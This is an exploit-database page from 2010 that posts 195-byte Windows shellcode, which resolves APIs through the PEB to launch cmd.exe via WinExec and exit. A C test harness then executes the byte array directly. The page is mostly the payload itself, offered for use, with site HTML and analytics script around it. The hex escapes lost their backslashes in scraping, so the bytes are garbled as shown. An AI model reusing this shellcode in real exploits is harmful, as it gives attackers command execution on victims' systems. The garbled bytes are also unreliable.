Home / os / win7

win32 WinExec cmd.exe + ExitProcess Shellcode - 195 bytes

Posted on 25 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>win32 WinExec cmd.exe + ExitProcess Shellcode - 195 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================
win32 WinExec cmd.exe + ExitProcess Shellcode - 195 bytes
=========================================================


/*
Title: Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes
Date: 2010-06-25
Author: RubberDuck
Web: http://bflow.security-portal.cz
Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/(64), Win 2k8 (32)
Thanks to: kernelhunter, Lodus, Vrtule and others
*/
 
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
 
int main(){
    unsigned char shellcode[]=
    &quot;xFCx33xD2xB2x30x64xFFx32x5Ax8B&quot;
    &quot;x52x0Cx8Bx52x14x8Bx72x28x33xC9&quot;
    &quot;xB1x18x33xFFx33xC0xACx3Cx61x7C&quot;
    &quot;x02x2Cx20xC1xCFx0Dx03xF8xE2xF0&quot;
    &quot;x81xFFx5BxBCx4Ax6Ax8Bx5Ax10x8B&quot;
    &quot;x12x75xDAx8Bx53x3Cx03xD3xFFx72&quot;
    &quot;x34x8Bx52x78x03xD3x8Bx72x20x03&quot;
    &quot;xF3x33xC9x41xADx03xC3x81x38x47&quot;
    &quot;x65x74x50x75xF4x81x78x04x72x6F&quot;
    &quot;x63x41x75xEBx81x78x08x64x64x72&quot;
    &quot;x65x75xE2x49x8Bx72x24x03xF3x66&quot;
    &quot;x8Bx0Cx4Ex8Bx72x1Cx03xF3x8Bx14&quot;
    &quot;x8Ex03xD3x52x68x78x65x63x01xFE&quot;
    &quot;x4Cx24x03x68x57x69x6Ex45x54x53&quot;
    &quot;xFFxD2x68x63x6Dx64x01xFEx4Cx24&quot;
    &quot;x03x6Ax05x33xC9x8Dx4Cx24x04x51&quot;
    &quot;xFFxD0x68x65x73x73x01x8BxDFxFE&quot;
    &quot;x4Cx24x03x68x50x72x6Fx63x68x45&quot;
    &quot;x78x69x74x54xFFx74x24x20xFFx54&quot;
    &quot;x24x20x57xFFxD0&quot;;
 
    printf(&quot;Size = %d
&quot;, strlen(shellcode));
 
    system(&quot;PAUSE&quot;);
 
    ((void (*)())shellcode)();
 
    return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :